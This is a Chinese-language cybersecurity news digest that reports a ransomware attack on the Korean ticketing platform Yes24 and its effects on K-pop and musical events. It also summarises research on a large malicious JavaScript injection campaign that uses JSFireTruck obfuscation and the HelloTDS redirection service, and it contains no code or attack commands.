**韩国最大票务平台遭勒索软件攻击，娱乐产业陷入混乱**
|
||||
|
||||
|
||||
韩国最大票务平台和在线图书零售商之一Yes24遭遇勒索软件攻击，导致该国娱乐产业陷入混乱。
|
||||
|
||||
**这次攻击发生于6月9日（周一）早间，已导致Yes24的网站和服务连续四天无法访问，严重影响了音乐会在线订票、电子书访问和社区论坛等功能。该公司表示计划在6月15日前恢复全面运营。韩国个人信息保护委员会已对此事件展开调查，因为客户数据可能已被泄露。当局表示将审查Yes24是否履行了韩国数据隐私法规定的法律义务。**
|
||||
|
||||
据当地媒体报道，Yes24服务中断引发了一系列连锁反应。包括Park Bo-gum、Enhypen、Ateez和说唱歌手B.I在内的K-pop明星和演员的预售活动和演出已被推迟或取消。《廊桥遗梦》和《阿拉丁》等音乐剧的制作方现要求观众出示打印版或电子邮件预订信息才能入场。
|
||||
|
||||
10
|
||||
|
||||
**恶意JavaScript注入活动利用JSFireTruck技术，将用户重定向至恶意URL**
|
||||
|
||||
|
||||
网络安全研究人员警告称，一项大规模活动通过恶意JavaScript注入破坏合法网站，使用JSFireTruck技术进行混淆。**该技术利用有限字符集编写代码，隐藏其真实目的，阻碍分析。注入代码会检查网站反向链接，如果是搜索引擎，则将用户重定向到恶意URL，可能提供恶意软件、漏洞利用或恶意广告。**
|
||||
|
||||
Palo Alto Networks Unit 42在2025年3月26日至4月25日期间发现269,552个受感染网页，4月12日达到峰值，一天内超过50,000个网页被感染。这一活动与HelloTDS流量分配服务有关，该服务通过注入远程托管JavaScript代码，将访问者重定向到虚假CAPTCHA页面、技术支持诈骗或加密货币诈骗。攻击者利用复杂的指纹识别和动态域基础设施，选择性地针对受害者，绕过传统保护措施。
|
||||
|
||||
|
||||
|
||||
信息来源：人民网 国家计算机网络应急技术处理协调中心 国家信息安全漏洞库 今日头条 360威胁情报中心 中科汇能GT攻防实验室 安全牛 E安全 安全客 NOSEC安全讯息平台 火绒安全 亚信安全 奇安信威胁情报中心 MACFEESy mantec白帽汇安全研究院 安全帮 卡巴斯基 安全内参 安全学习那些事 安全圈 黑客新闻 蚁景网安实验室 IT之家IT资讯 黑客新闻国外 天际友盟
|
||||
|
||||
|
||||
|
||||
本文版权归原作者所有，如有侵权请联系我们及时删除
|
||||
|
||||
Reference in new issue
Block a user